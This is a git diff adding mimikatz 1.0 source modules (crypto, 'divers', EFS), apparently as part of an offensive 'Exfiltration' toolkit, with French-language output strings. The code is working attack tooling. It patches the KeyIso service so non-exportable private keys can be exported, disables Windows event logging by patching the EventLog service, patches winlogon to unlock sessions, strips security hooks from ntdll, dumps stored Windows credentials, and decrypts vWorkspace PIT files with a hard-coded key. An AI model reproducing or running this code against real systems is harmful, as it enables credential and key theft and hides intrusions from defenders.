L"ncryptprov.dll"; +#ifdef _M_X64 + BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x75}; + BYTE PTRN_WIN8_SPCryptExportKey[] = {0xf6, 0x43, 0x24, 0x02, 0x75}; + BYTE PTRN_WI60_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x0f, 0x85}; + + BYTE PATC_WI60_SPCryptExportKey_EXPORT[] = {0x90, 0xe9}; + BYTE PATC_WI60_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; + BYTE PATC_WALL_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; +#elif defined _M_IX86 + BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x41, 0x20, 0x02, 0x75}; + BYTE PTRN_WIN8_SPCryptExportKey[] = {0xf6, 0x47, 0x1c, 0x02, 0x75}; + + BYTE PATC_WNO8_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; + BYTE PATC_WIN8_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb}; +#endif + BYTE PATC_WALL_SPCryptExportKey_EXPORT[] = {0xeb}; + LONG OFFS_WALL_SPCryptExportKey_EXPORT = 4; + + if(mod_cryptong::isNcrypt) + { + if(mod_cryptong::justInitCNG()) + { + wchar_t * libName; PBYTE pattern = NULL; ULONG taillePattern = 0; PBYTE patch = NULL; ULONG taillePatch = 0; LONG offsetPatch = 0; + + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { +#ifdef _M_X64 + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + pattern = PTRN_WI60_SPCryptExportKey; + taillePattern = sizeof(PTRN_WI60_SPCryptExportKey); + } + else + { +#endif + pattern = PTRN_WNO8_SPCryptExportKey; + taillePattern = sizeof(PTRN_WNO8_SPCryptExportKey); +#ifdef _M_X64 + } +#endif + libName = LIBNAME_WNO8_NCrypt; + } + else + { + pattern = PTRN_WIN8_SPCryptExportKey; + taillePattern = sizeof(PTRN_WIN8_SPCryptExportKey); + libName = LIBNAME_WIN8_NCrypt; + } + + if(arguments->empty()) + { +#ifdef _M_X64 + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + patch = PATC_WI60_SPCryptExportKey_EXPORT; + taillePatch = sizeof(PATC_WI60_SPCryptExportKey_EXPORT); + } + else + { +#endif + patch = PATC_WALL_SPCryptExportKey_EXPORT; + taillePatch = sizeof(PATC_WALL_SPCryptExportKey_EXPORT); +#ifdef _M_X64 + } +#endif + } + else + { +#ifdef _M_X64 + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + patch = PATC_WI60_SPCryptExportKey_NOEXPORT; + taillePatch = sizeof(PATC_WI60_SPCryptExportKey_NOEXPORT); + } + else + { + patch = PATC_WALL_SPCryptExportKey_NOEXPORT; + taillePatch = sizeof(PATC_WALL_SPCryptExportKey_NOEXPORT); + } +#elif defined _M_IX86 + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + patch = PATC_WNO8_SPCryptExportKey_NOEXPORT; + taillePatch = sizeof(PATC_WNO8_SPCryptExportKey_NOEXPORT); + } + else + { + patch = PATC_WIN8_SPCryptExportKey_NOEXPORT; + taillePatch = sizeof(PATC_WIN8_SPCryptExportKey_NOEXPORT); + } +#endif + } + offsetPatch = OFFS_WALL_SPCryptExportKey_EXPORT; + + mod_patch::patchModuleOfService(L"KeyIso", libName, pattern, taillePattern, patch, taillePatch, offsetPatch); + } + else (*outputStream) << L"Impossible d\'initialiser la CNG : " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"Pas de CNG ?" << endl; + + return true; +} + +void mod_mimikatz_crypto::sanitizeFileName(wstring * fileName) +{ + wchar_t monTab[] = {L'\\', L'/', L':', L'*', L'?', L'\"', L'<', L'>', L'|'}; + for(wstring::iterator monIterateur = fileName->begin(); monIterateur != fileName->end(); monIterateur++) + { + for(ULONG i = 0; i < sizeof(monTab) / sizeof(wchar_t); i++) + { + if(*monIterateur == monTab[i]) + { + *monIterateur = L'~'; + break; + } + } + } +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h new file mode 100644 index 0000000..7d81c07 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.h @@ -0,0 +1,36 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_cryptoapi.h" +#include "mod_cryptong.h" +#include "mod_crypto.h" +#include "mod_process.h" +#include "mod_patch.h" +#include <iostream> +#include <sstream> + +class mod_mimikatz_crypto +{ +private: + static void sanitizeFileName(wstring * fileName); + static void listAndOrExportCertificates(vector<wstring> * arguments, bool exportCert = false); + static void listAndOrExportKeys(vector<wstring> * arguments, bool exportKeys = false); +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool listProviders(vector<wstring> * arguments); + static bool listStores(vector<wstring> * arguments); + static bool listKeys(vector<wstring> * arguments); + static bool listCertificates(vector<wstring> * arguments); + + static bool exportCertificates(vector<wstring> * arguments); + static bool exportKeys(vector<wstring> * arguments); + + static bool patchcapi(vector<wstring> * arguments); + static bool patchcng(vector<wstring> * arguments); +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp new file mode 100644 index 0000000..019644d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp @@ -0,0 +1,306 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_divers.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_divers::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(noroutemon, L"noroutemon", L"[experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(eventdrop, L"eventdrop", L"[super experimental] Patch l\'observateur d\'événements pour ne plus rien enregistrer")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cancelator, L"cancelator", L"Patch le bouton annuler de Windows XP et 2003 en console pour déverrouiller une session")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(secrets, L"secrets", L"Affiche les secrets utilisateur")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(nodetour, L":nodetour", L"Anti-détours SR")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pitme, L":pitme", L"Déchiffre les fichiers PIT (Quest vWorkspace Client)")); + return monVector; +} + +bool mod_mimikatz_divers::nodetour(vector<wstring> * arguments) +{ + vector<mod_patch::OS> mesOS; + mesOS.push_back(mod_patch::WINDOWS_2003_____x64); + mesOS.push_back(mod_patch::WINDOWS_VISTA____x64); + mesOS.push_back(mod_patch::WINDOWS_2008_____x64); + mesOS.push_back(mod_patch::WINDOWS_SEVEN____x64); + mesOS.push_back(mod_patch::WINDOWS_2008r2___x64); + + if(mod_patch::checkVersion(&mesOS)) + { + BYTE monSysEnterRetn[] = {0x0f, 0x05, 0xc3}; + BYTE monDetouredStub[] = {0x90, 0x90, 0xe9}; + + PBYTE monNTDLLptr = reinterpret_cast<PBYTE>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtOpenProcess")); + if(memcmp(monNTDLLptr + 8, monDetouredStub, sizeof(monDetouredStub)) == 0) + { + (*outputStream) << L"Détour trouvé et "; + if(mod_memory::writeMemory(monNTDLLptr + 8 + sizeof(monDetouredStub) + sizeof(LONG) + *reinterpret_cast<PLONG>(monNTDLLptr + 8 + sizeof(monDetouredStub)), monSysEnterRetn, sizeof(monSysEnterRetn))) + (*outputStream) << L"patché :)"; + else + (*outputStream) << L"NON patché :("; + (*outputStream) << endl; + } + else + (*outputStream) << L"Détour non trouvé" << endl; + } + return true; +} + + +bool mod_mimikatz_divers::cancelator(vector<wstring> * arguments) +{ + vector<mod_patch::OS> mesOS; + mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x86); + mesOS.push_back(mod_patch::WINDOWS_2003_____x86); + + if(mod_patch::checkVersion(&mesOS)) + { + BYTE patternCMPJMP[] = {0xff, 0xff, 0xff, 0x83, 0xff, 0x02, 0x0f, 0x84}; + BYTE patternNOP[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90}; + long offsetCibleNOP = 3; + + vector<mod_process::KIWI_PROCESSENTRY32> * mesProcesses = new vector<mod_process::KIWI_PROCESSENTRY32>(); + wstring processName = L"winlogon.exe"; + + if(mod_process::getList(mesProcesses, &processName)) + { + for(vector<mod_process::KIWI_PROCESSENTRY32>::iterator leProcess = mesProcesses->begin(); leProcess != mesProcesses->end(); leProcess++) + { + mod_patch::patchModuleOfPID(leProcess->th32ProcessID, L"", patternCMPJMP, sizeof(patternCMPJMP), patternNOP, sizeof(patternNOP), offsetCibleNOP); + } + } + + delete mesProcesses; + } + return true; +} + + +bool mod_mimikatz_divers::noroutemon(vector<wstring> * arguments) +{ + //BYTE patternTestRouteMon[] = {0x83, 0xec, 0x1c, 0x55, 0x8b, 0xe9}; // 7.0 // 83 ec 1c 55 8b e9 + BYTE patternTestRouteMon[] = {0x83, 0xec, 0x14, 0x53, 0x8b, 0xd9}; // 7.1 // 83 ec 14 53 8b d9 + BYTE patternNoTestRouteMon[] = {0xb0, 0x01, 0xc2, 0x04, 0x00}; + + mod_patch::patchModuleOfService(L"dsNcService", L"", patternTestRouteMon, sizeof(patternTestRouteMon), patternNoTestRouteMon, sizeof(patternNoTestRouteMon)); + return true; +} + +bool mod_mimikatz_divers::eventdrop(vector<wstring> * arguments) +{ + wchar_t LIBNAME_WNT5_EVTLOG[] = L"eventlog.dll"; + wchar_t LIBNAME_WNT6_EVTLOG[] = L"wevtsvc.dll"; +#ifdef _M_X64 + BYTE PTRN_WNT5_PerformWriteRequest[] = {0x49, 0x89, 0x5b, 0x10, 0x49, 0x89, 0x73, 0x18}; + LONG OFFS_WNT5_PerformWriteRequest = -10; + BYTE PATC_WNT5_PerformWriteRequest[] = {0x45, 0x33, 0xed, 0xc3}; + + BYTE PTRN_WN60_Channel__ActualProcessEvent[] = {0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0x48, 0x8b, 0xda, 0xe8}; + LONG OFFS_WN60_Channel__ActualProcessEvent = 0; + BYTE PATC_WN62_Channel__ActualProcessEvent[] = {0xff, 0xf7, 0x48, 0x83, 0xec, 0x50, 0x48, 0xc7, 0x44, 0x24, 0x20, 0xfe, 0xff, 0xff, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0xe8}; + LONG OFFS_WN62_Channel__ActualProcessEvent = 0; + + BYTE PATC_WNT6_Channel__ActualProcessEvent[] = {0xc3}; +#elif defined _M_IX86 + BYTE PTRN_WNT5_PerformWriteRequest[] = {0x89, 0x45, 0xe4, 0x8b, 0x7d, 0x08, 0x89, 0x7d}; + LONG OFFS_WNT5_PerformWriteRequest = -20; + BYTE PATC_WNT5_PerformWriteRequest[] = {0x33, 0xc0, 0xc2, 0x04, 0x00}; + + BYTE PTRN_WN60_Channel__ActualProcessEvent[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x56, 0x8b, 0xf1, 0x8b, 0x4d, 0x08, 0xe8}; + LONG OFFS_WN60_Channel__ActualProcessEvent = 0; + BYTE PATC_WN61_Channel__ActualProcessEvent[] = {0x8b, 0xf1, 0x8b, 0x4d, 0x08, 0xe8}; + LONG OFFS_WN61_Channel__ActualProcessEvent = -(5 + 5 + 2); + BYTE PATC_WN62_Channel__ActualProcessEvent[] = {0x33, 0xc4, 0x50, 0x8d, 0x44, 0x24, 0x28, 0x64, 0xa3, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x75, 0x0c}; + LONG OFFS_WN62_Channel__ActualProcessEvent = -(5 + 1 + 1 + 1 + 3 + 1 + 6 + 5 + 2 + 3 + 2 + 1 + 2); + + BYTE PATC_WNO8_Channel__ActualProcessEvent[] = {0xc2, 0x04, 0x00}; + BYTE PATC_WIN8_Channel__ActualProcessEvent[] = {0xc2, 0x08, 0x00}; +#endif + + BYTE * PTRN_Process = NULL; DWORD SIZE_PTRN_Process = 0; + BYTE * PATC_Process = NULL; DWORD SIZE_PATC_Process = 0; + LONG OFFS_PATC_Process = 0; + wstring libEvent; + + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + libEvent.assign(LIBNAME_WNT5_EVTLOG); + PTRN_Process = PTRN_WNT5_PerformWriteRequest; SIZE_PTRN_Process = sizeof(PTRN_WNT5_PerformWriteRequest); + PATC_Process = PATC_WNT5_PerformWriteRequest; SIZE_PATC_Process = sizeof(PATC_WNT5_PerformWriteRequest); + OFFS_PATC_Process = OFFS_WNT5_PerformWriteRequest; + } + else + { + libEvent.assign(LIBNAME_WNT6_EVTLOG); + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + PTRN_Process = PTRN_WN60_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PTRN_WN60_Channel__ActualProcessEvent); + OFFS_PATC_Process = OFFS_WN60_Channel__ActualProcessEvent; +#ifdef _M_X64 + } +#elif defined _M_IX86 + PATC_Process = PATC_WNO8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNO8_Channel__ActualProcessEvent); + } + else if(mod_system::GLOB_Version.dwMinorVersion < 2) + { + PTRN_Process = PATC_WN61_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PATC_WN61_Channel__ActualProcessEvent); + OFFS_PATC_Process = OFFS_WN61_Channel__ActualProcessEvent; + PATC_Process = PATC_WNO8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNO8_Channel__ActualProcessEvent); + } +#endif + else + { + PTRN_Process = PATC_WN62_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PATC_WN62_Channel__ActualProcessEvent); + OFFS_PATC_Process = OFFS_WN62_Channel__ActualProcessEvent; +#ifdef _M_IX86 + PATC_Process = PATC_WIN8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WIN8_Channel__ActualProcessEvent); +#endif + } + +#ifdef _M_X64 + PATC_Process = PATC_WNT6_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNT6_Channel__ActualProcessEvent); +#endif + } + + mod_patch::patchModuleOfService(L"EventLog", libEvent, PTRN_Process, SIZE_PTRN_Process, PATC_Process, SIZE_PATC_Process, OFFS_PATC_Process); + + return true; +} + +bool mod_mimikatz_divers::secrets(vector<wstring> * arguments) +{ + DWORD credNb = 0; + PCREDENTIAL * pCredential = NULL; + DWORD flags = (arguments->empty() ? 0 : CRED_ENUMERATE_ALL_CREDENTIALS); + + if(CredEnumerate(NULL, flags, &credNb, &pCredential)) + { + (*outputStream) << L"Nombre de secrets : " << credNb << endl; + + for(DWORD i = 0; i < credNb; i++) + { + wstring type; + bool isCertificate = false; + switch(pCredential[i]->Type) + { + case CRED_TYPE_GENERIC: + type.assign(L"GENERIC"); + break; + case CRED_TYPE_DOMAIN_PASSWORD: + type.assign(L"DOMAIN_PASSWORD"); + break; + case CRED_TYPE_DOMAIN_CERTIFICATE: + type.assign(L"DOMAIN_CERTIFICATE"); + isCertificate = true; + break; + case CRED_TYPE_DOMAIN_VISIBLE_PASSWORD: + type.assign(L"DOMAIN_VISIBLE_PASSWORD"); + break; + case CRED_TYPE_GENERIC_CERTIFICATE: + type.assign(L"GENERIC_CERTIFICAT"); + isCertificate = true; + break; + case CRED_TYPE_DOMAIN_EXTENDED: + type.assign(L"DOMAIN_EXTENDED"); + break; + default: + type.assign(L"?"); + } + + (*outputStream) << + L"TargetName : " << (pCredential[i]->TargetName ? pCredential[i]->TargetName : L"<NULL>") << L" / " << (pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>") << endl << + L"Type : " << type << L" (" << pCredential[i]->Type << L')' << endl << + L"Comment : " << (pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>") << endl << + L"UserName : " << (pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>") << endl << + L"Credential : " << mod_text::stringOrHex(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize) << endl << + endl; + } + CredFree(pCredential); + } + else (*outputStream) << L"CredEnumerate : " << mod_system::getWinError() << endl; + + return true; +} + + +bool mod_mimikatz_divers::pitme(vector<wstring> * arguments) +{ + static const BYTE HARDCODED_KEY[] = { + 0x80, 0x5b, 0xe8, 0x18, 0x6f, 0x64, 0x89, 0x3a, 0x34, 0xce, 0x59, 0xdf, 0x4d, 0xb4, 0x5a, 0x0f, + 0x69, 0x94, 0x58, 0x70, 0x71, 0x4b, 0x17, 0xcf, 0xc3, 0x40, 0xaa, 0xfc, 0xc5, 0xe0, 0x21, 0xdb, + 0x9a, 0x49, 0x68, 0xb8, 0x2f, 0x4a, 0x6c, 0xdc, 0x7a, 0x8b, 0x7f, 0x5c, 0x03, 0x08, 0xfe, 0x39, + 0xa3, 0xc6, 0x31, 0xa6, 0x8c, 0xbd, 0x72, 0xa4, 0x8a, 0x1b, 0x92, 0xd5, 0x87, 0xad, 0x78, 0x8f, + 0x55, 0x96, 0x0b, 0x30, 0xa8, 0x43, 0x53, 0xb0, 0x62, 0xa0, 0xda, 0x7c, 0x13, 0x8d, 0x5d, 0x81, + 0xc0, 0x8e, 0x90, 0x88, 0xe4, 0xb7, 0x76, 0xc2, 0xb5, 0x04, 0x93, 0xa5, 0xa9, 0x9e, 0xab, 0xf5, + 0x37, 0xac, 0x99, 0x26, 0xe2, 0x38, 0x85, 0xe1, 0x74, 0x77, 0x32, 0xe5, 0x91, 0x23, 0xb1, 0x10, + 0x4c, 0x47, 0x3f, 0xbe, 0x82, 0x22, 0x6a, 0x51, 0xd0, 0x63, 0x75, 0x11, 0x33, 0x9b, 0xfb, 0x3b, + 0xca, 0xed, 0xdd, 0x44, 0xe6, 0x12, 0x4e, 0x97, 0x3c, 0x79, 0x4f, 0x41, 0x66, 0xba, 0x50, 0x0e, + 0xc9, 0x6b, 0x05, 0xee, 0x6e, 0xe7, 0x95, 0x7b, 0x60, 0x9d, 0xff, 0xc4, 0x29, 0x86, 0xb9, 0x7d, + 0x98, 0xc8, 0x9c, 0x35, 0xbb, 0xbc, 0xef, 0xfa, 0x3d, 0x06, 0xf9, 0x36, 0xbf, 0x3e, 0x7e, 0xa2, + 0xc7, 0x56, 0xae, 0xcb, 0xaf, 0xe9, 0x42, 0x61, 0xf0, 0x1d, 0xfd, 0x65, 0x9f, 0x52, 0x27, 0xea, + 0x24, 0xa1, 0xa7, 0xb2, 0x6d, 0x14, 0xb3, 0x45, 0xf8, 0xb6, 0xf7, 0x73, 0xc1, 0x83, 0x84, 0xf4, + 0xcc, 0xcd, 0xf3, 0xe3, 0x54, 0x15, 0xd1, 0x46, 0x07, 0x57, 0x2c, 0xd2, 0xd3, 0xd6, 0xd4, 0xd7, + 0xf6, 0xeb, 0xd8, 0x1c, 0x00, 0x09, 0xec, 0x67, 0x0a, 0xd9, 0x16, 0xde, 0xf1, 0xf2, 0x01, 0x2d, + 0x5e, 0x48, 0x02, 0x0c, 0x5f, 0x0d, 0x19, 0x1a, 0x28, 0x1e, 0x1f, 0x20, 0x25, 0x2a, 0x2b, 0x2e + }; + static const DWORD SUBKEY_SIZE = 16; + static const BYTE HEADER_PIT[] = {'P', 'I', 'T'}; + + FILE * monFichierSource, * monFichierDestination; + BYTE * monBuffer, * monBufferData; + ULONG tailleFichierSource, tailleData; + + if(arguments->size() < 1) + { + (*outputStream) << L"divers:::pitme file.pit [file.rdp]" << endl; + } + else + { + (*outputStream) << L" * Ouverture en lecture du fichier \'" << arguments->front() << L"\' : "; + if(monFichierSource = _wfopen(arguments->front().c_str(), L"rb")) + { + fseek(monFichierSource, 0, SEEK_END); + tailleFichierSource = ftell(monFichierSource); + monBuffer = new BYTE[tailleFichierSource]; + fseek(monFichierSource, 0, SEEK_SET); + fread(monBuffer, tailleFichierSource, 1, monFichierSource); + fclose(monFichierSource); + + (*outputStream) << L"OK" << endl << L" * Déchiffrement n°1 : "; + if(mod_crypto::genericDecrypt(monBuffer, tailleFichierSource, HARDCODED_KEY, sizeof(HARDCODED_KEY), CALG_RC4)) + { + (*outputStream) << L"OK" << endl << L" * Déchiffrement n°2 : "; + if(mod_crypto::genericDecrypt(monBuffer, tailleFichierSource - SUBKEY_SIZE, monBuffer + tailleFichierSource - SUBKEY_SIZE, SUBKEY_SIZE, CALG_RC4)) + { + (*outputStream) << L"OK" << endl << L" * En-tęte : "; + if(memcmp(monBuffer, HEADER_PIT, sizeof(HEADER_PIT)) == 0) + { + (*outputStream) << L"OK" << endl; + monBufferData = monBuffer + sizeof(HEADER_PIT); + tailleData = tailleFichierSource - sizeof(HEADER_PIT) - SUBKEY_SIZE; + + if(arguments->size() > 1) + { + (*outputStream) << L" * Ouverture en écriture du fichier \'" << arguments->back() << L"\' : "; + if(monFichierDestination = _wfopen(arguments->back().c_str(), L"wb")) + { + (*outputStream) << L"OK" << endl; + fwrite(monBufferData, tailleData, 1, monFichierDestination); + fclose(monFichierDestination); + } + else (*outputStream) << L"KO" << endl; + } + else (*outputStream) << L" * Données : " << endl << endl << wstring(reinterpret_cast<char *>(monBufferData), reinterpret_cast<char *>(monBufferData + tailleData)) << endl; + } + else (*outputStream) << L"KO - différent de \'PIT\' ; " << mod_text::stringOfHex(HEADER_PIT, sizeof(HEADER_PIT)) << L" != " << mod_text::stringOfHex(monBuffer, sizeof(HEADER_PIT)) << endl; + } + else (*outputStream) << L"KO"; + } + else (*outputStream) << L"KO"; + delete [] monBuffer; + } + else (*outputStream) << L"KO" << endl; + } + return true; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h new file mode 100644 index 0000000..9bfcf9f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.h @@ -0,0 +1,30 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_process.h" +#include "mod_patch.h" +#include "mod_secacl.h" +#include "mod_text.h" +#include "mod_crypto.h" +#include <iostream> +#include <wincred.h> +#include "..\global.h" + +class mod_mimikatz_divers +{ +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool cancelator(vector<wstring> * arguments); + static bool noroutemon(vector<wstring> * arguments); + static bool eventdrop(vector<wstring> * arguments); + static bool secrets(vector<wstring> * arguments); + static bool nodetour(vector<wstring> * arguments); + static bool pitme(vector<wstring> * arguments); +}; + + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp new file mode 100644 index 0000000..366c062 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.cpp @@ -0,0 +1,300 @@ +/* Benjamin DELPY `gentilkiwi` +http://blog.gentilkiwi.com +benjamin@gentilkiwi.com +Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_efs.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_efs::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Affiche des informations basiques sur un fichier chiffré")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(full, L"full", L"Affiche des informations trčs détaillées sur un fichier chiffré")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(toraw, L"toraw", L"Dump les données EFS d'un fichier chiffré vers un fichier brut")); + // monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(fromraw, L"fromraw")); + return monVector; +} + +bool mod_mimikatz_efs::infos(vector<wstring> * arguments) +{ + if(!arguments->empty()) + { + PENCRYPTION_CERTIFICATE_HASH_LIST pHashes = NULL; + + if(QueryUsersOnEncryptedFile(arguments->front().c_str(), &pHashes) == ERROR_SUCCESS) + { + (*outputStream) << L"Utilisateur(s) déclaré(s) : " << pHashes->nCert_Hash << endl; + printInfos(pHashes); + FreeEncryptionCertificateHashList(pHashes); + } + else (*outputStream) << L"Erreur QueryUsersOnEncryptedFile : " << mod_system::getWinError() << endl; + + if(QueryRecoveryAgentsOnEncryptedFile(arguments->front().c_str(), &pHashes) == ERROR_SUCCESS) + { + (*outputStream) << L"Agent(s) de recouvrement : " << pHashes->nCert_Hash << endl; + printInfos(pHashes); + FreeEncryptionCertificateHashList(pHashes); + } + else (*outputStream) << L"Erreur QueryRecoveryAgentsOnEncryptedFile : " << mod_system::getWinError() << endl; + + } + return true; +} + +bool mod_mimikatz_efs::full(vector<wstring> * arguments) +{ + if(!arguments->empty()) + { + PVOID pvContext = NULL; + if(OpenEncryptedFileRaw(arguments->front().c_str(), 0, &pvContext) == ERROR_SUCCESS) + { + SIMPLE_BYTE_ARRAY sba = {0, reinterpret_cast<BYTE *>(malloc(0))}; + if(ReadEncryptedFileRaw(ExportToArrayCallback, &sba, pvContext) == ERROR_SUCCESS) + { + PEFS_FEK Fek = NULL; + PEFS_STREAM_DATA_SEGMENT monDataSegment = NULL; + for( + PEFS_MARSHALED_STREAM monMarshaledStream = reinterpret_cast<PEFS_MARSHALED_STREAM>(sba.tableau + sizeof(EFS_RAW)); + reinterpret_cast<PBYTE>(monMarshaledStream) < (sba.tableau + sba.nbElements); + monMarshaledStream = reinterpret_cast<PEFS_MARSHALED_STREAM>(monDataSegment) + ) + { + + bool isEFSMetaData = (monMarshaledStream->NameLenght == 2) && (monMarshaledStream->StreamName[0] == 0x1910); + + (*outputStream) << endl << + L"Marshaled Stream :" << endl << + L" * Taille : " << monMarshaledStream->Length << endl << + L" * Flag : " << monMarshaledStream->Flag << endl << + L" * Nom : " << (isEFSMetaData ? wstring(L"(EFS Metadata stream)") : wstring(monMarshaledStream->StreamName, monMarshaledStream->NameLenght / sizeof(wchar_t))) << endl << + L" * Type : " << (isEFSMetaData ? L"EFS Metadata" : L"DATA") << endl << + endl; + + for( + monDataSegment = reinterpret_cast<PEFS_STREAM_DATA_SEGMENT>(reinterpret_cast<PBYTE>(monMarshaledStream) + monMarshaledStream->Length); + (reinterpret_cast<PBYTE>(monDataSegment) < (sba.tableau + sba.nbElements)) && (monDataSegment->GURE0 == 0x00550047) && (monDataSegment->GURE1 == 0x00450052); + monDataSegment = reinterpret_cast<PEFS_STREAM_DATA_SEGMENT>(reinterpret_cast<PBYTE>(monDataSegment) + monDataSegment->Length) + ) + + { + (*outputStream) << L"DataSegment : " << endl; + PBYTE StreamData = reinterpret_cast<PBYTE>(monDataSegment) + sizeof(EFS_STREAM_DATA_SEGMENT); + + if(isEFSMetaData) + { + (*outputStream) << L" EFS Metadata :" << endl; + + PEFS_METADATA_1 mesAttr = reinterpret_cast<PEFS_METADATA_1>(StreamData); + (*outputStream) << L" * Version EFS : " << mesAttr->EFS_Version << endl; + if(mesAttr->DDF_Offset) + { + (*outputStream) << L" * Utilisateur(s) déclaré(s) :" << endl; + fullInfosFromEFS_KEY_LIST(mesAttr, mesAttr->DDF_Offset, &Fek); + } + if(mesAttr->DRF_Offset) + { + (*outputStream) << L" * Agent(s) de recouvrement :" << endl; + fullInfosFromEFS_KEY_LIST(mesAttr, mesAttr->DRF_Offset, &Fek); + } + } + else + { + (*outputStream) << L" DATA :" << endl; + if(!monMarshaledStream->Flag) + { + (*outputStream) << L" DATA Segment Encryption Header :" << endl; + PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER monSegEncHead = reinterpret_cast<PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER>(StreamData); + (*outputStream) << + L" * Length : " << monSegEncHead->Length << endl << + L" * StartingFile_Offset : " << monSegEncHead->StartingFile_Offset << endl << + L" * BytesWithinStreamSize : " << monSegEncHead->BytesWithinStreamSize << endl << + L" * BytesWithinVDL : " << monSegEncHead->BytesWithinVDL << endl << + L" * DataUnitShift : " << monSegEncHead->DataUnitShift << endl << + L" * ChunkShift : " << monSegEncHead->ChunkShift << endl << + L" * ClusterShift : " << monSegEncHead->ClusterShift << endl << + L" * NumberOfDataBlocks : " << monSegEncHead->NumberOfDataBlocks << endl << + 